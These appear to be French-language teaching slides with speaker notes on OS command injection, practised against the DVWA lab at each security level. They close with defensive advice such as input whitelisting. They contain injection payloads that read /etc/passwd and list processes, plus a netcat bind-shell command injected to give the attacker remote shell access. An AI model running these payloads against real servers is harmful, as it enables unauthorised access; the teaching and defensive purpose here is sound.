# Command execution

## aka [command injection](https://www.owasp.org/index.php/Command_Injection)


### <i class="fas fa-cogs"></i> CMDi

* paramètres non filtrés
  * la commande est écrite en dur
    * exécution de commandes arbitraires sur le serveur
    * exécutée avec les droits du serveur (thread)

* triviale mais assez rare


### <i class="fa-solid fa-bomb"></i> CMDi / low

* Unix
    * Pipeline 
        * redirection la sortie standard: **|**
        * redirection la sortie d'erreur: **|&**
    * List
        * séparateur de commande: **;** 
        * arrière plan: **&** 
        * et logique: **&&** 
        * ou logique: **||** 


### <i class="fa-solid fa-bomb"></i> CMDi / low

```shell
localhost && ls
; whoami
localhost | id
```

* le réseau est également explorable

Note:
- dvwa à brutforcer
    - non y a le cookie qui coince :/
        - admin:password
        - https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/
- il faut injecter des commandes que le server connait
    - win/unix/linux/bsd/solarix/aix
        - pool de commandes par défaut
- l'enchainement d'exlpoits est laisser à l'imagination du pentester
    - plus il est expérimenté plus il peut créer des attques complexes
        - plus il peut aller loin dans l'exploitation
- Regarder le code
    - Que peut on faire pour améliorer
        - DVWA Security -> medium


### <i class="fa-solid fa-bomb"></i> CMDi / medium

les chaînes de caractères "&&" et ";" sont interdites

```shell
# Pour y voir plus clair
localhost | ls
# Plus intéressant
localhost | pwd & whoami & ps
localhost | uname -a & users & id & w
localhost | cat /etc/group
localhost | cat /etc/passwd
```

Note:
- approche liste noire toujours perdante
    - liste de caractère à échapper
- résultat visible
    - affiché dans la page
        - méga rare
- aveugle
    - certaines pas faciles à détecter
        - adduser / mkdir lors de la création de compte
            - un username se terminant par
                - ;cmd
    - ping réseau
        - on sait si ca a marcher avec le temps d'exécution du ping
            - si ca rame au chargement de la page
                - c'est que le ping est en train de s'exécuter à l'infini
        - sinon sniffer le ping de retour
            - si pas bloqué
        - ping -c3 127.0.0.1 pour mémoire
    - résolution dns d'un domaine maitrisé connu de nous seul
- Regarder le code
    - Que peut on faire pour amliorer
        - DVWA Security -> high


### <i class="fa-solid fa-bomb"></i> CMDi / high

```shell
localhost|ls
```

Note:
-détailler l'expression régulière


### <i class="fa-solid fa-bomb"></i> CMDi / impossible

* l'approche est ici différente
    * on ne cherche plus à éliminer les caractères dangereux
    * on cherche à valider que l'entrée est bien une IP

```shell
$valid = preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $string);
```

Note:
-détailler l'expression régulière


### <i class="fas fa-cogs"></i> bind shell

* ex netcat

```shell
sudo apt install ncat
```

* injecter

```shell
1 | ncat -v -e '/bin/bash' -l -p 8080
```

* puis sur le terminal de l'attaquant

```shell
ncat -v vm-etu-vimazeno.local.isima.fr 8080
```

* \o/ accès distant à la machine
  * avec les permissions de l'utilisateur www-data

Note:
- revenir en medium ou low security
    - on peut le faire avec cookie manager +
- netcat couteau suisse réseau
    - permet d'écrire sur un port
- soumis a pas mal de condition en vérité
    - marche que dans un sens
        - DMZ coupe tout le sortant
        - reste possible dans ce sens
        - mais faut passer d'eventuels friewalls
        - et netcat peu avoir été supprimé


### <i class="fa fa-medkit"></i> Se préserver

* éviter les commandes [exec](http://php.net/manual/fr/function.exec.php), [shell_exec](http://php.net/manual/fr/function.shell-exec.php), [passtru](http://php.net/manual/fr/function.passthru.php)  ou [system](http://php.net/manual/fr/function.system.php)
* utiliser shell_escape_args() en php
* utliser JSON.parse plutot qu'un eval() de JSON
* utiliser des lib spéacilisées
  * [<i class="fab fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem)
  * [<i class="fab fa-github"></i> symfony/Finder](https://github.com/symfony/Finder)

Note:
- faire marcher le bon sens
- Note le cron de drupal est pourri parce qu'appelable via des url
    - utiliser le cron system


### <i class="fa fa-medkit"></i> Se préserver

* utiliser des listes blanches plutôt que des listes noires
* utiliser cron pour les traitements récurrents
* ne pas installer `netcat` ...